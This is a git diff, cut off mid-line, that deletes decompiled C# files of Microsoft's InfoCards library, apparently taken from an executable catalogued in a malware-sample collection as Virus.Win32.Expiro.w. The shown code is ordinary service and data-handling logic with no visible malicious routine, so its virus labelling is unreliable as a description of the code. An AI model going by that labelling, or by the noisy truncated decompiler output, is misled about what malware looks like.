a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LedgerEntryCollection.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LedgerEntryCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class LedgerEntryCollection : Dictionary - { - private Uri m_infoCardId; - - private LedgerEntryCollection() - { - } - - public void Add(LedgerEntry entry) => this[entry.Recipient.RecipientId] = entry; - - public LedgerEntryCollection(Uri infoCardId) => this.m_infoCardId = infoCardId; - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "The infocard id must be specified prior to executing this operation"); - ICollection dataRows = con.Query(QueryDetails.FullRow, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - if (dataRows == null || dataRows.Count <= 0) - return; - foreach (DataRow dataRow in (List) dataRows) - { - LedgerEntry ledgerEntry = new LedgerEntry((Stream) new MemoryStream(dataRow.GetDataField()), con); - this[ledgerEntry.Recipient.RecipientId] = ledgerEntry; - } - } - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - keyValuePair.Value.Serialize(writer); - } - - public void Save(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "The infocard id must be specified prior to executing this operation"); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - LedgerEntry ledgerEntry = keyValuePair.Value; - if (ledgerEntry.IsDirty) - ledgerEntry.Save(con); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LifeTimeMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LifeTimeMonitor.cs deleted file mode 100644 index 857dd1b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LifeTimeMonitor.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LifeTimeMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.ServiceProcess; -using System.Timers; - -namespace Microsoft.InfoCards -{ - internal class LifeTimeMonitor - { - private const int DefaultShutdownInterval = 3600000; - private const int MinimumShutdownInterval = 60000; - private const string ServiceIdleTimeValue = "ServiceIdleTime"; - private int m_activeCount; - private bool m_isShuttingDown; - private Timer m_shutdownTimer; - private object m_syncRoot = new object(); - - public LifeTimeMonitor() - { - int interval = 3600000; - using (new SystemIdentity(false)) - { - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(InfoCardConstants.RegistryKey, false)) - { - if (registryKey != null) - { - object obj = registryKey.GetValue("ServiceIdleTime", (object) 3600000); - if (obj is int num) - { - if (num >= 60000) - interval = (int) obj; - } - } - } - } - this.m_activeCount = 0; - this.m_shutdownTimer = new Timer((double) interval); - this.m_shutdownTimer.Elapsed += new ElapsedEventHandler(this.OnShutdown); - this.m_shutdownTimer.AutoReset = false; - this.m_isShuttingDown = false; - this.StartShutdownTimer(); - } - - public void AddClient() - { - lock (this.m_syncRoot) - { - InfoCardTrace.Assert(this.m_activeCount >= 0, "incorrect active count"); - if (this.m_isShuttingDown) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException()); - ++this.m_activeCount; - if (1 != this.m_activeCount) - return; - this.StopShutdownTimer(); - } - } - - public void RemoveClient() - { - lock (this.m_syncRoot) - { - InfoCardTrace.Assert(this.m_activeCount > 0, "invalid active count"); - --this.m_activeCount; - if (this.m_activeCount != 0) - return; - this.StartShutdownTimer(); - } - } - - private void OnShutdown(object sender, ElapsedEventArgs args) - { - lock (this.m_syncRoot) - { - if (this.m_activeCount > 0) - return; - this.m_shutdownTimer.Enabled = false; - this.m_isShuttingDown = true; - InfoCardTrace.Audit(EventCode.AUDIT_SERVICE_IDLE_STOP); - } - using (new SystemIdentity(false)) - new ServiceController("idsvc").Stop(); - } - - private void StartShutdownTimer() => this.m_shutdownTimer.Start(); - - private void StopShutdownTimer() => this.m_shutdownTimer.Stop(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ListCardsInFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ListCardsInFileRequest.cs deleted file mode 100644 index 8a4f1400..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ListCardsInFileRequest.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ListCardsInFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class ListCardsInFileRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private RoamingStoreFile m_roamingFile; - private string m_filename; - private string m_passphrase; - - public ListCardsInFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_roamingFile = new RoamingStoreFile(); - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_filename = Utility.DeserializeString(reader); - this.m_passphrase = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - this.Cleanup(false, true); - try - { - try - { - using (FileStream fileStream = new FileStream(this.m_filename, FileMode.Open, FileAccess.Read, FileShare.Read)) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - this.m_roamingFile.ReadFrom(this.m_passphrase, reader); - this.ParentRequest.SetContext(this.m_roamingFile); - } - } - } - catch (ImportException ex) - { - throw; - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PasswordValidationException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - catch (ImportException ex) - { - this.Cleanup(false, true); - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(ex.Message)); - } - finally - { - this.Cleanup(true, false); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - BinaryWriter binaryWriter = new BinaryWriter(outArgs); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - if (this.m_roamingFile != null) - { - if (this.m_roamingFile.Cards.Count != 0) - { - try - { - binaryWriter.Write(this.m_roamingFile.Cards.Count); - for (int index = 0; index < this.m_roamingFile.Cards.Count; ++index) - { - binaryWriter.Flush(); - this.m_roamingFile.Cards[index].AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - return; - } - catch (Exception ex) - { - this.Cleanup(true, true); - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - } - binaryWriter.Write(0); - } - finally - { - connection.Close(); - } - } - - private void Cleanup(bool clearPwd, bool clearRoamingFile) - { - if (clearRoamingFile) - { - if (this.m_roamingFile != null) - this.m_roamingFile.Clear(); - if (this.ParentRequest != null) - this.ParentRequest.ClearContext(); - } - if (!clearPwd) - return; - this.m_passphrase = (string) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ListDependantCardsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ListDependantCardsRequest.cs deleted file mode 100644 index 0a9eae38..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ListDependantCardsRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ListDependantCardsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ListDependantCardsRequest : UIAgentRequest - { - private Uri m_selfIssuedCardId; - private List m_allCards = new List(); - - public ListDependantCardsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_selfIssuedCardId = new Uri(Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode))); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - IList dataRowList = (IList) connection.Query(QueryDetails.FullRow, connection.LocalDataSource, new QueryParameter("ix_supportauth", new object[1] - { - (object) 2 - })); - if (dataRowList == null || dataRowList.Count == 0) - return; - for (int index = 0; index < dataRowList.Count; ++index) - { - byte[] dataField = dataRowList[index].GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - InfoCard infoCard = new InfoCard((Stream) memoryStream); - foreach (TokenCreationParameter creationParameter in infoCard.CreationParameters) - { - if (creationParameter.CredentialType == TokenFactoryCredentialType.SelfIssuedCredential && Utility.CompareByteArrays(Convert.FromBase64String(creationParameter.CredentialSelectors[CredentialSelectorType.SelfIssuedCardIdSelector].GetStringWithoutNullTerminator()), Utility.CreateHash(infoCard.IssuerIdentifierAsBytes, this.m_selfIssuedCardId))) - this.m_allCards.Add(infoCard); - } - } - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - if (this.m_allCards != null) - { - writer.Write(this.m_allCards.Count); - foreach (InfoCard allCard in this.m_allCards) - Utility.SerializeUri(writer, allCard.Id); - } - else - writer.Write(0); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LocalIdCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LocalIdCollection.cs deleted file mode 100644 index 5c0f02a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LocalIdCollection.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LocalIdCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class LocalIdCollection - { - private SortedList m_inner; - - public LocalIdCollection() => this.m_inner = new SortedList(); - - public void Add(int item) - { - if (this.m_inner.ContainsKey(item)) - return; - this.m_inner.Add(item, item); - } - - public void Clear() => this.m_inner.Clear(); - - public int Count => this.m_inner.Count; - - public void Filter(LocalIdCollection itemsToKeep) - { - for (int index = this.m_inner.Count - 1; index >= 0; --index) - { - if (!itemsToKeep.m_inner.ContainsKey(this.m_inner.Keys[index])) - this.m_inner.RemoveAt(index); - } - } - - public IList Keys => this.m_inner.Keys; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LogoValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LogoValidationException.cs deleted file mode 100644 index 3ef28c52..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LogoValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LogoValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class LogoValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413879; - - public LogoValidationException() - : base(-1073413879) - { - } - - public LogoValidationException(string message) - : base(-1073413879, message) - { - } - - public LogoValidationException(string message, Exception inner) - : base(-1073413879, message, inner) - { - } - - protected LogoValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413879, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ManageRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ManageRequest.cs deleted file mode 100644 index 19c9c0f8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ManageRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ManageRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class ManageRequest : ClientUIRequest - { - public ManageRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.Manage, ExceptionList.AllNonFatal) - { - if (0L != inArgs.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceRequestBufferLengthInvalid"))); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - try - { - this.StartAndWaitForUIAgent(); - } - catch (UserCancelledException ex) - { - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/MaxSessionCountExceededException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/MaxSessionCountExceededException.cs deleted file mode 100644 index 59f57326..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/MaxSessionCountExceededException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.MaxSessionCountExceededException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class MaxSessionCountExceededException : InfoCardBaseException - { - private const int HRESULT = -1073413865; - - public MaxSessionCountExceededException() - : base(-1073413865) - { - } - - public MaxSessionCountExceededException(string message) - : base(-1073413865, message) - { - } - - public MaxSessionCountExceededException(string message, Exception inner) - : base(-1073413865, message, inner) - { - } - - protected MaxSessionCountExceededException(SerializationInfo si, StreamingContext sc) - : base(-1073413865, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/MergeConflictCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/MergeConflictCallback.cs deleted file mode 100644 index f8059f33..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/MergeConflictCallback.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.MergeConflictCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal delegate int MergeConflictCallback(DataRow local, DataRow incomingData); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/NativeMcppMethods.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/NativeMcppMethods.cs deleted file mode 100644 index 6297a422..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/NativeMcppMethods.cs +++ /dev/null @@ -1,1158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.NativeMcppMethods -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using \u003CCppImplementationDetails\u003E; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class NativeMcppMethods - { - private NativeMcppMethods() - { - } - - public static unsafe byte[] X931KeyGenWrapper( - byte[] Xp1ByteArray, - byte[] Xp2ByteArray, - byte[] Xq1ByteArray, - byte[] Xq2ByteArray, - byte[] XpByteArray, - byte[] XqByteArray, - int publicExponent, - ref KeyGenRestartCodes restartCode) - { - byte* numPtr = (byte*) 0; - uint length1 = 0; - byte[] destination = (byte[]) null; - X931_restart_t x931RestartT = (X931_restart_t) 0; - int length2 = Xp1ByteArray.Length; - int length3 = XpByteArray.Length; - \u003CModule\u003E.AssertInternal(true, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040FAPBOFLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 129, false); - \u003CModule\u003E.AssertInternal(length2 == Xp2ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040BNBJOFNC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 130, false); - \u003CModule\u003E.AssertInternal(length2 == Xq1ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040PPLFHHPC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 131, false); - \u003CModule\u003E.AssertInternal(length2 == Xq2ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040LCFNHHJF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 132, false); - \u003CModule\u003E.AssertInternal(length3 == XpByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EC\u0040PNPIPOFH\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 133, false); - \u003CModule\u003E.AssertInternal(length3 == XqByteArray.Length, (ushort*) 